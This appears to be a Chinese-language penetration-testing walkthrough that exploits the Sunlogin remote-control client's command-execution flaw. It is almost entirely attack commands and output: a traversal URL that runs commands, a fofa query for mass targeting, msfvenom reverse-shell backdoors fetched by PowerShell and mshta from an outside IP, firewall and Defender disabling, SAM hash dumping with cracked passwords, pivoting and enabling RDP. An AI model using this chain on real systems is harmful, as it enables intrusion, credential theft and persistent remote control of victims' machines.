https://pan.baidu.com/s/1p3GDd7V3Unmq3-wSAvl7_Q  提取码: 1p9p

#Nmap扫描nmap -sC -sV -p 0-65535 -n -vv --min-rate=2000 192.168.1.5-sV：版本探测-vv：显示详细信息-p 0-65535：探测其0-65535端口--min-rate=2000：最小的发包速率-sC：等价于–script=default，使用默认类别的脚本进行扫描 可更换其他类别 
#49773端口返回{"success":false,"msg":"Verification failure"}

#程序下载https://github.com/0x727/ObserverWard/releases/download/v2022.3.15/observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gztar -zxvf observer_ward_v2022.3.15_x86_64-unknown-linux-musl.tar.gz
#指纹库升级./observer_ward -u
#指纹探测./observer_ward -t http://192.168.4.150:49773/

#拼接路径/cgi-bin/rpc?action=verify-haras  //获取CID值/check?cmd=ping../../../../../../../../../../../windows/system32/whoami  //执行命令
#批量搜索fofa:body="Verification failure" && port="49155"

#漏洞检测利用https://github.com/j2ekim/sunlogin_rce     //批量检测https://github.com/1rm/SunloginClient_RCE  //获取其交互式命令执行https://github.com/ddwGeGe/SunloginRCE_GUITools  //图形界面
#执行命令python3 main.py -u 192.168.4.150 -p 49773 -e  //获取目标的交互式接口

hostname --》  WIN-HHP4Q76IAO9tasklist /svc --》  MsMpEng.exe-> Microsoft Security Essentialsipconfig /all --》 192.168.4.150  192.168.100.155  WorkGrouppwd --》 C:\Windows\system32dir C:\Users\  --》无域用户登陆痕迹net user --》 本地账户：Administrator(管理员)  ash(普通用户)netsh advfirewall show allprofile state  --》防火墙开启netsh advfirewall set allprofiles state off --》关闭防火墙
#注解因为这里的向日葵程序是system的权限，所以可以关闭防火墙

#生成后门msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.42.118.221 lport=9292 -f exe -o eve.exe
#开启监听msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 10.0.20.3set lport 9292run
#Poewrshell下载powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.1.4:8080/123.exe','C:\Users\Administrator\a.exe')
#执行上线...cd C:\Users\Administrator;dirstart C:\Users\Administrator\a.exe-------------------------------分界线---------------------------------------------------#生成后门msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=101.42.118.221 lport=9651 -f hta-psh -o 1.hta
#开启监听msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost 10.0.20.3set lport 9651exploit -j
#开启服务python2 -m SimpleHTTPServer 8000
#执行上线mshta http://101.42.118.221:8000/1.hta

set-MpPreference -DisableRealtimeMonitoring $true   //关闭defender实时保护powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \"C:\Users\Administrator\"    //PowerShell策略绕过

ps    //查看进程migrate pid  //迁移进程，注意进程运行架构cd C:\\Users\\Administrator\\Desktop  //存在需要测试的地址.txtdownload 需要测试的地址.txt /home/z4pts/桌面  //下载文件
#抓取密码load kiwikiwi_cmd lsadump::samAdministrator：388f586516a4cba963b4181363b44034   //解密：win2008ash：96783bb69c00614e88f7d4688623c83a             //解密：qweASD123
#添加路由use post/multi/manage/autorouteset session 1runorrun autoroute -s 192.168.100.0/24run autoroute -p

#开启远程run post/windows/manage/enable_rdp
#远程连接mstsc